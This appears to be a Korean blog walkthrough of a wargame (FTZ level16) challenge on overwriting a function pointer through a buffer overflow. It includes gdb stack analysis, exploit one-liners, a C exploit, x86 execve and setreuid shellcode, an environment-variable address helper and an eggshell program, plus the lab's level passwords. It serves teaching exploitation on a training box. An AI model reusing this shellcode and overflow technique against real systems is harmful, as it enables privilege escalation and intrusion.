반응형

login as : level16

password : about to cause mass


이전 레벨 level 15에서 변수형의 포인터 개념이 나왔다.

 

이번 level16 에서는 함수 포인터와 관련된 문제이다.

 

함수 포인터 변조는 함수의 시작 번지를 가지고 있는 포인터의 주소값을 다른 함수의 주소값으로 바꾸면 다른 함수가 실행되는 공격도 가능하다.

 

또한, 다른 함수의 주소가 아닌 셸코드를 올려둔 주소로 번지를 바꾸면 셸코드가 실행될 것이다.

 

함수 포인터를 변조하여 실행 흐름을 바꾸는 기법에서 조금 더 나아가면 RTL(Return To Libc)이라고 하여 공유 라이브러리에 있는 함수의 주소로 변조시키는 기법이나 GOT(Global Offset Table)와 같이 바이너리에 내장된 Offset 테이블에 있는 함수로 흐름을 바꾸는 기법으로 셸을 실행할 수 있다.


level16 문제 확인

 

level16의 attackme 파일 소스코드를 보니 fgets()함수로 48byte를 입력받아 20byte짜리 buf 변수에 넣는다.

 

그리고 함수 포인터 call 변수는 초기값이 printit() 함수의 주소로 되어 있는데, bof 공격으로 call 변수에 담긴 주소값을 printit() 함수에서 shell() 함수의 주소로 바꾸면 될 것 같다.


어셈블리 언어의 AT&T 문법과 Intel 문법 비교

 

gdb로 디스어셈블한 코드를 볼 때 두 가지 형태로 볼 수 있는데, AT&T 문법 형태와 intel 문법 형태가 있다.

 

이전 레벨들에서는 GDB로 디스어셈블할 때 기본적으로 설정되어 있는 AT&T 문법으로 디스어셈블 된 코드를 봤다.

 

 

gdb로 attackme 파일을 열어 main 함수를 디스어셈블하면 위와 같이 AT&T 문법이 출력된다.

 

set disassembly-flavor intel

 

하지만 위와 같이 intel 문법으로 설정하면

 

 

main 함수를 디스어셈블 했을 때 위와 같이 intel 문법으로 디스어셈블 된 코드를 확인할 수 있다.

 

구분 명령어 포맷 명령어 예시
intel [명령어] [dest], [src] mov eax, 0x12
AT&T [명령어] [src], [dest] mov $0x12, %eax

 

AT&T 문법과 Intel문법은 거의 동일하지만, 크게 다른 점이 있다면 명령어 이후의 출발지와 목적지에 해당하는 인자가 뒤바뀐 점 정도이다.

 

echo "set disassembly-flavor intel" >> ~/.gdbinit

 

또한 위와 같이 항상 gdb를 열 때마다 intel 문법으로 출력되게 기본값을 바꿀 수 있다.


스택 구조 확인

 

 

이번 레벨부터는 intel 문법으로 분석을 진행한다.

 

procedure prelude(함수 프롤로그) 부분을 보면 지역 변수의 공간으로 0x38(56)byte를 확보하는 것을 확인하 수 있다.

 

하지만 이전 레벨 level14와 level15에서처럼 56byte에 crap, call, buf 변수 공간 뿐 아니라 dummy 값도 포함되어 있을 것이다.

 

level16에서는 함수 포인터 변수 문제이고, 함수 포인터 변수도 4byte이며, 함수 포인터도 포인터이기 때문에 void형 타입의 포인터 변수라고 하더라도 int형 타입과 동일한 구조로 스택에 자리 잡는다.

 

cp attackme tmp

cd tmp

gdb -q attackme

b *0x0804853f

r

AAAA

x/16x $esp

 

attackme 파일을 tmp 디렉토리로 복사한 후 tmp 디렉토리로 이동해준 다음 gdb로 attackme 파일을 열어 call 변수 안에 담긴 주소에 해당하는 함수를 호출하기 직전에 bp를 걸고 실행한다.

 

AAAA라는 인자를 주고 스택을 보면 위와 같다.

 

0xbffff390 주소를 보면 인자값 AAAA가 들어가 있는 것을 보아 buf 변수의 시작 부분이다.

 

위에서 이전에 디스어셈블리 한 결과를 보면 0x08048534 주소에서 fgets() 함수를 호출하는데, fgets()함수의 인자로 ebp-56를 넘기는 것을 확인할 수 있고, ebp-56은 buf의 공간이다.

 

 

그리고 이어서 디스어셈블리 한 결과를 보면 0x0804851e 주소에서 ebp-16 주소에 0x8048500 값을 넣고 있다.

 

ebp-16은 call 변수이고, 0x08048500 주소는 printit() 함수임을 알 수 있다.

 

그렇다면 56 - 16 = 40byte이고, buf와 call 변수 사이의 공간은 40byte라는 것을 알 수 있다.

 

 

다시 한 번 스택 공간을 보면 0xbffff390 주소부터 buf 공간이고, 40byte 후에 있는 0xbffff3b8주소에 0x08048500 값이 있으니 call 변수의 공간임을 알 수 있다.

 

그리고 0xbffff3cc 주소는 crap 변수의 공간이고, 이어서 8byte의 dummy까지 하면 56byte가 된다.

 

그 후로는 차례대로 SFP, RET, argc, argv, env 이다.

 

낮은 주소 20byte 20byte 4byte 4byte 8byte 4byte 4byte 높은 주소
0xbffff390 0xbffff3a4 0xbffff3b8 0xbffff3bc 0xbffff3c0 0xbffff3c8 0xbffff3cc
char buf[20] dummy *call() crap dummy SFP RET
"AAAA"   0x08048500        

 

낮은 주소
20byte 0xbffff390 char buf[20] "AAAA"
20byte 0xbffff3a4 dummy  
4byte 0xbffff3b8 *call() 0x08048500
4byte 0xbffff3bc crap  
8byte 0xbffff3c0 dummy  
4byte 0xbffff3c8 SFP  
4byte 0xbffff3cc RET  
높은 주소

 

위에서 파악한 스택 구조를 표로 나타내면 위와 같다.

 


shell() 함수의 주소 파악

 

shell() 함수는 위와 같이 디스어셈블리 명령으로 알아낼 수 있다.

 

위의 결과에 따르면 shell() 함수의 주소는 0x080484d0이다.

 


shell() 함수의 주소를 이용해 공격

 

cd

(for i in `seq 1 40`; do printf "a"; done; printf "\xd0\x84\x04\x08"; cat) | ./attackme

 

cd 명령으로 level16 디렉토리로 이동한 다음 위와 같이 bash shellscript를 이용해 공격 스크립트를 ./attackme 파일에 입력으로 넘긴다.

 

그러면 level17의 password king poetic을 획득할 수 있다.

 


exploit 코드(예시)

 

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define BUFSIZE 44   /* NOP(40) + &shell() */

// "shell() 함수" 의 시작 주소
char writecode[] = "\xd0\x84\x04\x08";

int main()
{
    char shellBuf[BUFSIZE], cmdBuf[320];
    int i, j, shellLen;
    
    shellLen = strlen(writecode);

	// "void *call()" 함수 앞까지는 NOP 로 채움
    for(i=0; i<sizeof(shellBuf)-shellLen; i++)
        shellBuf[i] = NOP;
    
	// "printit() 함수의 시작 주소를 "shell() 함수" 의 시작 주소로 덮어씀
    for(j=0; j<shellLen; j++)
        shellBuf[i++] = writecode[j];
    
    // 공격 명령어 생성
    sprintf(cmdBuf, "(perl -e \'print \"");
    strcat(cmdBuf, shellBuf);
    strcat(cmdBuf, "\"\'; cat) | /home/level16/attackme");
    strcat(cmdBuf, "\x0a");
    system(cmdBuf);
}

 


환경 변수를 이용한 공격

level16 attackme 파일의 소스코드를 보면 fgets() 함수에서 48byte까지만 입력받기 때문에 bof 취약점으로 RET 주소를 수정할 수는 없다.

 

하지만 call 함수 포인터의 값은 bof 취약점으로 수정할 수 있기 때문에 위에서 shell() 함수의 주소로 바꾸어 실행 흐름을 바꿨다.

 

이를 응용해 shell() 함수의 주소 대신 shell을 실행시키는 셸코드가 담긴 환경 변수의 주소로 바꿔도 셸을 획득할 수 있다.

 

export sh=`printf "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`

echo $sh

 

하지만 여기서 어느 셸코드를 쓰느냐가 관건인데, 이전 level에서들처럼 위와 같은 셸코드를 사용하면 level17이 아닌 level16 권한의 셸이 떨어질것이다.

 

 

그 이유는 level16 attackme 파일의 소스코드에 있는데, 소스코드를 다시 한 번 보면 위와 같이 shell() 함수 내에 level17 권한으로 프로세스를 실행시키는 코드가 있기 때문이다.

 

export shellcode=`printf "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"`

echo $shellcode

 

그렇기 때문에 위와 같이 셸코드 안에 level17의 권한으로 실행시키는 부분이 있는 셸코드로 해야 level17에 해당하는 셸을 획득할 수 있다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}
gcc -o getenvaddr getenvaddr.c

 

위와 같이 getenvaddr.c 파일에 코드를 입력하고 컴파일 해준 뒤

 

(python -c 'print "A" * 40 + "\x28\xff\xff\xbf"'; cat) | ./attackme

 

getenvaddr 파일을 이용해 geteuid()와 setreuid() 함수가 포함된 shellcode 환경 변수의 주소 0xbfffff28을 구한다.

 

이어서 level16 디렉토리로 이동해 위와 같이 공격 스크립트를 작성해 attackme 파일에 입력으로 보내준다.

 

그러면 level17 권한의 shell을 획득할 수 있고, level17의 password king poetic이 뜬다.


Eggshell을 이용한 공격(예시)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          0
#define DEFAULT_ADDR_SIZE		8
#define DEFAULT_BUFFER_SIZE     512
#define DEFAULT_SUPERDK_SIZE    2048
#define NOP       				0x90


// 배시셸을 실행시키는 셸코드
char shellcode[] =
	"\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
	"\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

// 스택포인터(SP) 를 가져오는 함수
unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}


int main(int argc, char **argv)
{
	char    *ptr, *superSH;
	char    shAddr[DEFAULT_ADDR_SIZE + 1];
	char    cmdBuf[DEFAULT_BUFFER_SIZE];
	long    *addr_ptr, addr;
	int     offset=DEFAULT_OFFSET;
	int     i, supershLen=DEFAULT_SUPERDK_SIZE;
	int     chgDec[3];

	// 셸코드를 올릴 포인터 주소에 동적 메모리 할당
	if ( !(superSH = malloc(supershLen)) )
	{
		printf("Can't allocate memory for supershLen");
		exit(0);
	}

	// 셸코드의 주소 읽어와서 화면에 출력
	addr = get_sp() - offset;
	printf("Using address: 0x%x\n", addr);

	// 셸코드 실행 확률을 높이기 위해서, 셸코드 앞에 충분한 NOP 추가
	ptr = superSH;
	for(i = 0; i < supershLen - strlen(shellcode) - 1; i++)
		*(ptr++) = NOP;

	// NOP 뒤에 셸코드 추가
	for(i = 0; i < strlen(shellcode); i++)
		*(ptr++) = shellcode[i];

	// 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시
	superSH[supershLen - 1] = '\0';

	// SUPERDK 라는 환경변수명으로 셸코드를 환경 변수에 등록
	memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
	putenv(superSH);

	// 새로운 배시셸 실행
	system("/bin/bash");
}
반응형

+ Recent posts